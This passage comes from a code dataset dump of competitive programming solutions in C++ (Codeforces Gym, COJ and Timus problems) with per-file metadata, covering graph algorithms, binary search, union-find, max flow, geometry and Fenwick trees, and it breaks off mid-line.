{\r\n\t\t\t\tE[graph[u][i]].isbridge = true;\r\n\t\t\t\tE[graph[u][i] ^ 1].isbridge = true;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tseen[u] = min(seen[u], visited[v]);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint tcomp;\r\nint comp[N];\r\nint compval[N];\r\n\r\nvoid dfs(int u, int p) {\r\n\tcomp[u] = tcomp;\r\n\tcompval[tcomp] += vals[u];\r\n\tfor (int i = 0; i < graph[u].size(); i++) {\r\n\t\tif (!E[graph[u][i]].isbridge) {\r\n\t\t\tint v = E[graph[u][i]].to;\r\n\t\t\tif ((v != p) && (comp[v] == -1)) {\r\n\t\t\t\tdfs(v, u);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvector <int> G[N];\r\n\r\nvoid calc_dist(int u, int p, int d, int *dist) {\r\n\tdist[u] = d;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tcalc_dist(v, u, d + compval[v], dist);\r\n\t}\r\n}\r\n\r\nint dist1[N], dist2[N];\r\n\r\nvoid solve() {\r\n\tread();\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tvisited[i] = seen[i] = -1;\r\n\t}\r\n\tfind_bridges(1, -1);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcomp[i] = -1;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (comp[i] == -1) {\r\n compval[tcomp] = 0;\r\n\t\t\tdfs(i, -1);\r\n\t\t\ttcomp++;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int id = 0; id < graph[i].size(); id++) {\r\n\t\t\tif (E[graph[i][id]].isbridge) {\r\n\t\t\t\tint x = comp[i];\r\n\t\t\t\tint y = comp[E[graph[i][id]].to];\r\n\t\t\t\tG[x].push_back(y);\r\n\t\t\t\t//G[y].push_back(x);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcalc_dist(0, -1, compval[0], dist1);\r\n\tint x = 0;\r\n\tfor (int i = 0; i < tcomp; i++) {\r\n\t\tif (dist1[i] > dist1[x]) {\r\n\t\t\tx = i;\r\n\t\t}\r\n\t}\r\n\tcalc_dist(x, -1, compval[x], dist1);\r\n\tint y = 0;\r\n\tfor (int i = 0; i < tcomp; i++) {\r\n\t\tif (dist1[i] > dist1[y]) {\r\n\t\t\ty = i;\r\n\t\t}\r\n\t}\r\n\tcalc_dist(y, -1, compval[y], dist2);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcout << max(dist1[comp[i]], dist2[comp[i]]);\r\n\t\tif (i + 1 <= n) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.27161750197410583, "alphanum_fraction": 0.3041709065437317, "avg_line_length": 19.06122398376465, "blob_id": "def5c2ef3f3476e444b192cc7fbf2da199a9e3da", "content_id": "145d58f094430e033525a8a1afd5cd021e12aa2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 983, "license_type": "no_license", "max_line_length": 46, "num_lines": 49, "path": "/Codeforces-Gym/100499 - 2014 ACM-ICPC Vietnam National First Round/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 ACM-ICPC Vietnam National First Round\n// 100499B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 10000005;\n\nint t;\nint n, k, s, c1, c2, m;\n\nint cnt[M];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> t;\n while (t--) {\n cin >> n >> k >> s >> c1 >> c2 >> m;\n for (int i = 0; i < m; i++) {\n cnt[i] = 0;\n }\n int v = s;\n for (int i = 0; i < n; i++) {\n if (s < m) {\n cnt[s]++;\n }\n s = (1LL * c1 * s + c2) % m;\n }\n int sum = 0;\n for (int i = 0; i < m; i++) {\n for (int j = 0; j < cnt[i]; j++) {\n cout << i << \" \";\n sum++;\n if (sum == k) {\n break;\n }\n }\n if (sum == k) {\n break;\n }\n }\n if (sum != k) {\n cout << v << \" \";\n }\n cout << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.33465608954429626, "alphanum_fraction": 0.37830686569213867, "avg_line_length": 14.08510684967041, "blob_id": "40bdfd0eb237d67ecf9debfc0643087650195f9a", "content_id": "52921fcb2477c85fca09df9c5cb885b42b625862", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 756, "license_type": "no_license", "max_line_length": 36, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p3299-Accepted-s815626.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll a, b;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> a >> b) {\r\n\t\tif (a == 0 && b == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tll lo = 1;\r\n\t\tll hi = 1e8;\r\n\t\tll p1 = -1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tll mid = (lo + hi) / 2LL;\r\n\t\t\tif (mid * (mid + 1) / 2LL >= a) {\r\n\t\t\t\tp1 = mid;\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tlo = 1;\r\n\t\thi = 1e8;\r\n\t\tll p2 = -1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tll mid = (lo + hi) / 2LL;\r\n\t\t\tif (mid * (mid + 1) / 2LL <= b) {\r\n\t\t\t\tp2 = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (p1 == -1 || p2 == -1) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t} else {\r\n\t\t\tcout << p2 - p1 + 1 << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.26094570755958557, "alphanum_fraction": 0.3397548198699951, "avg_line_length": 20.84000015258789, "blob_id": "b66622f9888cd44f1b6385ed730463ae303bffde", "content_id": "e35f68c3203f5efc61ddc80da0a05c6fb2fe78f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1142, "license_type": "no_license", "max_line_length": 45, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p1281-Accepted-s492598.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<limits.h>\r\nusing namespace std;\r\nint mx,mn,x,ans,la,lb;\r\nbool a[20001],b[20001];\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&la) && la)\r\n {\r\n mx=INT_MIN;mn=INT_MAX;\r\n for(int i=0; i<la; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n a[x+10000]=1;\r\n if(x+10000>mx)mx=x+10000;\r\n if(x+10000<mn)mn=x+10000;\r\n }\r\n scanf(\"%d\",&lb);\r\n for(int i=0; i<lb; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n b[x+10000]=1;\r\n if(x+10000>mx)mx=x+10000;\r\n if(x+10000<mn)mn=x+10000;\r\n }\r\n int i=mn;\r\n while(i<=mx)\r\n {\r\n int s1=0,s2=0;\r\n while((!a[i] || !b[i]) && i<=mx)\r\n {\r\n if(a[i])s1+=i-10000;\r\n if(b[i])s2+=i-10000;\r\n i++;\r\n }\r\n ans+=max(s1,s2);\r\n if(i<=mx)\r\n {\r\n ans+=i-10000;\r\n i++;\r\n }\r\n }\r\n printf(\"%d\\n\",ans);\r\n ans=0;\r\n for(int i=mn; i<=mx; i++)a[i]=b[i]=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.38250255584716797, "alphanum_fraction": 0.44252288341522217, "avg_line_length": 21.404762268066406, "blob_id": "1788384e476b8a331fd797670697efa7d7151370", "content_id": "435e73c47a1f5f0d9df297d91b5c54d6ca0f04ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 983, "license_type": "no_license", "max_line_length": 93, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p2516-Accepted-s609365.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nconst int MAX1 = 1010, MAX2 = 3010;\r\n\r\nint a1[MAX1], ///a1[i] contiene la cantidad de digitos de la cadena que llega hasta i\r\n a2[MAX2]; ///a2[i] contiene el ultimo numero en la cadena de largo i\r\n\r\nstring in;\r\n\r\ninline int dig(int n) {\r\n\tif (n < 10) return 1;\r\n\tif (n < 100) return 2;\r\n\tif (n < 1000) return 3;\r\n}\r\n\r\nvoid solve(string &str) {\r\n int s = (int)str.size();\r\n\tif (s <= 10) {\r\n\t\tfor (int i = 0; i < s; i++)\r\n\t\t\tif (str[i] == '0') {\r\n cout << a2[s] - a2[s - i] << endl;\r\n return;\r\n\t\t\t}\r\n\t}\r\n\r\n\tfor (int i = 0; i < s; i++)\r\n\t\tif (str[i] == '0') {\r\n\t\t\tbool b = (str[(i + 1) % s] == '1' && str[(i + 2) % s] == '2' && str[(i + 3) % s] == '3');\r\n\t\t\tif (b) {\r\n cout << a2[s] - a2[s - i] << endl;\r\n return;\r\n\t\t\t}\r\n\t\t}\r\n}\r\n\r\nint main() {\r\n\ta1[0] = 1;\r\n\ta2[1] = 0;\r\n\tfor (int i = 1; i < 1000; i++) a2[a1[i] = a1[i - 1] + dig(i)] = i;\r\n\twhile (cin >> in) solve(in);\r\n}\r\n" }, { "alpha_fraction": 0.37050938606262207, "alphanum_fraction": 0.39892759919166565, "avg_line_length": 14.07758617401123, "blob_id": "a6ddc225aa0eb3df8f800829aee3815acc05f13b", "content_id": "26873c7c43062c16cfd12dafb73f2a9003b1e9ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1865, "license_type": "no_license", "max_line_length": 48, "num_lines": 116, "path": "/COJ/eliogovea-cojAC/eliogovea-p3884-Accepted-s1119564.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 300;\r\nconst int S = N * N + 10;\r\nconst int dx[] = {0, 1, 0, -1};\r\nconst int dy[] = {1, 0, -1, 0};\r\n\r\ninline bool inside(int x, int n) { // [0, n)\r\n\treturn (0 <= x && x < n);\r\n}\r\n\r\nint parent[S];\r\n\r\nint find(int x) {\r\n\tif (x != parent[x]) {\r\n\t\tparent[x] = find(parent[x]);\r\n\t}\r\n\treturn parent[x];\r\n}\r\n\r\nbool join(int x, int y) {\r\n\tx = find(x);\r\n\ty = find(y);\r\n\tif (x == y) {\r\n\t\treturn false;\r\n\t}\r\n\tif (rand() & 1) {\r\n\t\tparent[x] = y;\r\n\t} else {\r\n\t\tparent[y] = x;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint n, m;\r\nint h[N + 5][N + 5];\r\nint id[N + 5][N + 5];\r\n\r\nstruct item {\r\n\tint h, x, y;\r\n\titem() {}\r\n\titem(int _h, int _x, int _y) {\r\n\t\th = _h;\r\n\t\tx = _x;\r\n\t\ty = _y;\r\n\t}\r\n};\r\n\r\nbool operator < (const item &a, const item &b) {\r\n\treturn a.h < b.h;\r\n}\r\n\r\nitem a[S];\r\n\r\nint q;\r\nint t[100 * 1000 + 10];\r\n\r\nbool out[N + 5][N + 5];\r\n\r\nint ans[100 * 1000 + 10];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> m;\r\n\tint sz = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\tcin >> h[i][j];\r\n\t\t\tid[i][j] = sz++;\r\n\t\t\ta[id[i][j]].h = h[i][j];\r\n\t\t\ta[id[i][j]].x = i;\r\n\t\t\ta[id[i][j]].y = j;\r\n\t\t\tout[i][j] = false;\r\n\t\t\tparent[id[i][j]] = id[i][j];\r\n\t\t}\r\n\t}\r\n\r\n\tsort(a, a + sz);\r\n\r\n\tcin >> q;\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tcin >> t[i];\r\n\t}\r\n\r\n\tint cnt = 0;\r\n\tfor (int i = q - 1, j = sz - 1; i >= 0; i--) {\r\n\t\twhile (j > 0 && a[j].h > t[i]) {\r\n\t\t\tint x = a[j].x;\r\n\t\t\tint y = a[j].y;\r\n\t\t\tcnt++;\r\n\t\t\tout[x][y] = true;\r\n\t\t\tfor (int d = 0; d < 4; d++) {\r\n\t\t\t\tint nx = x + dx[d];\r\n\t\t\t\tint ny = y + dy[d];\r\n\t\t\t\tif (inside(nx, n) && inside(ny, m)) {\r\n\t\t\t\t\tif (out[nx][ny]) {\r\n\t\t\t\t\t\tif (join(id[x][y], id[nx][ny])) {\r\n\t\t\t\t\t\t\tcnt--;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tj--;\r\n\t\t}\r\n\t\tans[i] = cnt;\r\n\t}\r\n\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tcout << ans[i] << \" \";\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4329896867275238, "alphanum_fraction": 0.438144326210022, "avg_line_length": 10.25, "blob_id": "1bc1ce068bffcf570b63ccd39184cd3915bcb57e", "content_id": "2e80cb3fbd7d3a2ae994081ed29f53800f3868e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 194, "license_type": "no_license", "max_line_length": 23, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2621-Accepted-s525299.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint ans,n;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n while(n)\r\n {\r\n ans++;\r\n n/=2;\r\n }\r\n printf(\"%d\\n\",ans);\r\n}" }, { "alpha_fraction": 0.39698082208633423, "alphanum_fraction": 0.4198286533355713, "avg_line_length": 18.450000762939453, "blob_id": "fdded7f65576ca97d5f75e53ae4ced14190614fd", "content_id": "6de1833335c98b3d18a33e33f55e32d81f3f793e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2451, "license_type": "no_license", "max_line_length": 68, "num_lines": 120, "path": "/Timus/1065-7471961.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1065\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline int sign(long long x) {\r\n\treturn (x < 0) ? -1 : (x > 0);\r\n}\r\n\r\nstruct point {\r\n\tlong long x, y;\r\n\tpoint() {}\r\n\tpoint(long long _x, long long _y) : x(_x), y(_y) {}\r\n};\r\n\r\npoint operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\ninline long long cross(const point &P, const point &Q) {\r\n\treturn (long long)P.x * Q.y - (long long)P.y * Q.x;\r\n}\r\n\r\ninline double dist(const point &P, const point &Q) {\r\n\tdouble dx = P.x - Q.x;\r\n\tdouble dy = P.y - Q.y;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n, m;\r\n\tcin >> n >> m;\r\n\r\n\tvector <point> a(n), b(m);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i].x >> a[i].y;\r\n\t}\r\n\treverse(a.begin(), a.end()); // ccw\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> b[i].x >> b[i].y;\r\n\t}\r\n\r\n\tconst double INF = 1e18;\r\n\tvector <vector <double> > graph(n, vector <double> (n, INF));\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint val;\r\n\t\tif (m != 0) {\r\n\t\t\tpoint P = b[0] - a[i];\r\n\t\t\tfor (int j = 1; j < m; j++) {\r\n\t\t\t\tif (sign(cross(b[j] - a[i], P)) == 1) {\r\n\t\t\t\t\tP = b[j] - a[i];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tint lo = 1;\r\n\t\t\tint hi = n - 2;\r\n\t\t\tval = 1;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tif (sign(cross(a[(i + mid) % n] - a[i], P)) > 0) {\r\n\t\t\t\t\tval = mid;\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tval = n - 2;\r\n\t\t}\r\n\t\t// cerr << i << \" \" << val << \"\\n\";\r\n\t\tfor (int x = 0; x <= val; x++) {\r\n\t\t\tgraph[i][(i + x) % n] = dist(a[i], a[(i + x) % n]);\r\n\t\t}\r\n\t}\r\n\r\n\t/// floyd\r\n\tfor (int k = 0; k < n; k++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tgraph[i][j] = min(graph[i][j], graph[i][k] + graph[k][j]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tdouble answer = 0.0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint j = (i + 1) % n;\r\n\t\tanswer += dist(a[i], a[j]);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\tfor (int k = j + 1; k < n; k++) {\r\n\t\t\t\tif (sign(cross(a[j] - a[i], a[k] - a[i])) == 1) {\r\n\t\t\t\t\tdouble length = graph[i][j] + graph[j][k] + graph[k][i];\r\n\t\t\t\t\t// cerr << i << \" \" << j << \" \" << k << \" \" << length << \"\\n\";\r\n\t\t\t\t\tanswer = min(answer, graph[i][j] + graph[j][k] + graph[k][i]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcout.precision(2);\r\n\tcout << fixed << answer << \"\\n\";\r\n}\r\n\r\n\r\n/*\r\n5 2\r\n8 9\r\n0 -7\r\n-8 -7\r\n-8 1\r\n-8 9\r\n-4 -3\r\n-1 -5\r\n*/\r\n" }, { "alpha_fraction": 0.41428571939468384, "alphanum_fraction": 0.4403941035270691, "avg_line_length": 19.827957153320312, "blob_id": "0ab30df1e5db13073f1ee5913b01c450f7a6806b", "content_id": "275f5400921689575b845ee3c6fcaa017e81315d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2030, "license_type": "no_license", "max_line_length": 75, "num_lines": 93, "path": "/COJ/eliogovea-cojAC/eliogovea-p1908-Accepted-s635376.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// COJ - 1908 - Rainbow Party\r\n\r\n#include <iostream>\r\n#include <fstream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1005, MAXM = 400005, inf = 1 << 29;\r\n\r\nint n, s, p;\r\nint ady[MAXM], cap[MAXM], flow[MAXM], next[MAXM], last[MAXN], now[MAXN], E;\r\nint lev[MAXN], Q[MAXM], qh, qt;\r\nint source, sink;\r\n\r\ninline void addEdge(int a, int b) {\r\n\tady[E] = b; cap[E] = 1; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nbool bfs() {\r\n\tfor (int i = 0; i <= s + p + 1 + n + n; i++)\r\n\t\tlev[i] = 0;\r\n\tlev[source] = 1;\r\n\tqh = qt = 0;\r\n\tQ[qh++] = source;\r\n\twhile (qh > qt) {\r\n\t\tint u = Q[qt++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e])\r\n\t\t\tif (cap[e] > flow[e] && !lev[ady[e]]) {\r\n\t\t\t\tlev[ady[e]] = lev[u] + 1;\r\n\t\t\t\tif (ady[e] == sink) return true;\r\n\t\t\t\tQ[qh++] = ady[e];\r\n\t\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint dfs(int u, int cur) {\r\n\tif (u == sink) return cur;\r\n\tfor (int e = now[u]; e != -1; e = now[u] = next[e])\r\n\t\tif (cap[e] > flow[e] && lev[ady[e]] == lev[u] + 1) {\r\n\t\t\tint r = dfs(ady[e], min(cur, cap[e] - flow[e]));\r\n\t\t\tif (r > 0) {\r\n\t\t\t\tflow[e] += r;\r\n\t\t\t\tflow[e ^ 1] -= r;\r\n\t\t\t\treturn r;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint f, tot = 0;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 0; i <= s + p + n + n + 1; i++)\r\n\t\t\tnow[i] = last[i];\r\n\t\twhile (f = dfs(source, inf)) tot += f;\r\n\t}\r\n\treturn tot;\r\n}\r\n\r\nint a, b, x;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n >> s >> p;\r\n E = 0;\r\n\tfor (int i = 0; i <= s + p + 1 + n + n; i++)\r\n last[i] = -1;\r\n\r\n\tsource = 0;\r\n\tsink = 1;\r\n\r\n\tfor (int i = 1; i <= s; i++)\r\n\t\taddEdge(source, i + 1);\r\n\tfor (int i = 1; i <= p; i++)\r\n\t\taddEdge(i + s + 1, sink);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a >> b;\r\n\t\twhile (a--) {\r\n\t\t\tcin >> x;\r\n\t\t\taddEdge(x + 1, 1 + s + p + i);\r\n\t\t}\r\n\t\taddEdge(1 + s + p + i, 1 + s + p + n + i);\r\n\t\twhile (b--) {\r\n\t\t\tcin >> x;\r\n\t\t\taddEdge(1 + s + p + n + i, s + 1 + x);\r\n\t\t}\r\n\t}\r\n\tcout << maxFlow() << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3684210479259491, "alphanum_fraction": 0.3976608216762543, "avg_line_length": 22.428571701049805, "blob_id": "da5d5b520ac688cd035b49d0192b66765e117359", "content_id": "2a57b8981176ac340fb991526426d5e71e414803", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 684, "license_type": "no_license", "max_line_length": 61, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p1767-Accepted-s652210.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n, m, r, c, ra, f;\r\nlong long a[1005][1005];\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j <= m; j++) {\r\n\t\t\tscanf(\"%lld\", &a[i][j]);\r\n\t\t\ta[i][j] += a[i][j - 1];\r\n\t\t}\r\n\tscanf(\"%d\", &f);\r\n\twhile (f--) {\r\n\t\tscanf(\"%d%d%d\", &r, &c, &ra);\r\n\t\tr++; c++;\r\n\t\tlong long sol = 0;\r\n\t\tfor (int i = r, j = ra; i && j >= 0; i--, j--)\r\n\t\t\tsol += a[i][min(m, c + j)] - a[i][max(0, c - j - 1)];\r\n\t\tfor (int i = r + 1, j = ra - 1; i <= n && j >= 0; i++, j--)\r\n\t\t\tsol += a[i][min(m, c + j)] - a[i][max(0, c - j - 1)];\r\n\t\tprintf(\"%lld\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36934900283813477, "alphanum_fraction": 0.3910488188266754, "avg_line_length": 18.068965911865234, "blob_id": "b9705a497944725155a63dd40e57bbc1b8274f2a", "content_id": "95b84adee4498bcfb5c9bdd915cb89321f1b7a7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2212, "license_type": "no_license", "max_line_length": 69, "num_lines": 116, "path": "/Codeforces-Gym/100603 - 2009-2010 Petrozavodsk Winter Training Camp, Warsaw Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2009-2010 Petrozavodsk Winter Training Camp, Warsaw Contest\n// 100603G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 2000;\nconst int MAXK = 60;\n\nint dp[MAXN][MAXK];\n\nint BIT[MAXN];\n\nint n;\n\nint upd_bit( int p, int upd ){\n while( p <= n ){\n BIT[p] += upd;\n p += ( p & -p );\n }\n}\n\nint get_bit( int p ){\n int ret = 0;\n\n while( p > 0 ){\n ret += BIT[p];\n p -= ( p & -p );\n }\n\n return ret;\n}\n\ntypedef pair<int,int> par;\nvector<par> out[MAXN];\n\npar back[MAXN][MAXK];\n\nbool mk[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int K; cin >> n >> K;\n\n int sol = 0;\n par ls = par( 0 , 0 );\n\n for( int i = 1; i <= n; i++ ){\n int tot = 0;\n for( int j = i+1; j <= n; j++ ){\n int c; cin >> c;\n tot += c;\n\n out[j].push_back( par( i , c ) );\n }\n\n upd_bit( i , tot );\n\n for( int j = 0; j < out[i].size(); j++ ){\n upd_bit( out[i][j].first , -out[i][j].second );\n }\n\n for( int k = 1; k <= K; k++ ){\n dp[i][k] = dp[i-1][k];\n back[i][k] = back[i-1][k];\n\n for( int j = 1; j <= i; j++ ){\n int tmp = dp[j-1][k-1] + get_bit(i) - get_bit( j-1 );\n\n if( dp[i][k] < tmp ){\n dp[i][k] = tmp;\n back[i][k] = par( j-1 , k-1 );\n }\n }\n\n if( sol < dp[i][k] ){\n sol = dp[i][k];\n ls = par( i , k );\n }\n }\n }\n\n if( sol == 0 ){\n for( int i = 1; i <= K; i++ ){\n cout << i << \" \\n\"[i+1==K];\n }\n return 0;\n }\n\n vector<int> solution;\n\n while( ls.first > 0 ){\n mk[ls.first] = true;\n solution.push_back( ls.first );\n ls = back[ls.first][ls.second];\n }\n\n for( int i = 1; i <= n && solution.size() < K; i++ ){\n if( !mk[i] ){\n solution.push_back( i );\n }\n }\n\n sort( solution.begin() , solution.end() );\n\n for( int i = 0; i < solution.size(); i++ ){\n cout << solution[i] << \" \\n\"[i+1==solution.size()];\n }\n}\n" }, { "alpha_fraction": 0.3599429726600647, "alphanum_fraction": 0.38061296939849854, "avg_line_length": 14.7380952835083, "blob_id": "6ee4ae665b4b4af22de279edfb699f432bff972f", "content_id": "a45835f8fe4cd235a0f2796c2b7b90e33b3645c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1403, "license_type": "no_license", "max_line_length": 53, "num_lines": 84, "path": "/Timus/1521-6250765.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1521\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\n#define ver(x) cout << #x << \" \" << x << \"\\n\";\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, k;\r\n\r\nint bit[N];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint ans[N];\r\n\r\nint main() {\r\n\t//ios::sync_with_stdio(false);\r\n\t//cin.tie(0);\r\n\tcin >> n >> k;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tupdate(i, 1);\r\n\t}\r\n\tint last = 0; // ultima posicio que elimine\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tint t = n + 1 - i; // total que queda debe\r\n\t\tint x = query(last);\r\n\t\tint y;\r\n\t\tint z = (k % t);\r\n\t\tif (x + z <= t) {\r\n\t\t\ty = x + z;\r\n if (y == 0) {\r\n y = t;\r\n }\r\n\t\t} else {\r\n\t\t\ty = z - (t - x);\r\n\t\t\tif (y == 0) {\r\n y = t;\r\n\t\t\t}\r\n\t\t}\r\n\t\tint lo = 1;\r\n\t\tint hi = n;\r\n\t\tint pos = -1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint m = (lo + hi) >> 1;\r\n\t\t\t//cout << m << \" \" << query(m) << \"\\n\";\r\n\t\t\tif (query(m) >= y) {\r\n\t\t\t\tpos = m;\r\n\t\t\t\thi = m - 1;\r\n\t\t\t} else {\r\n\t\t\t\tlo = m + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tans[i] = 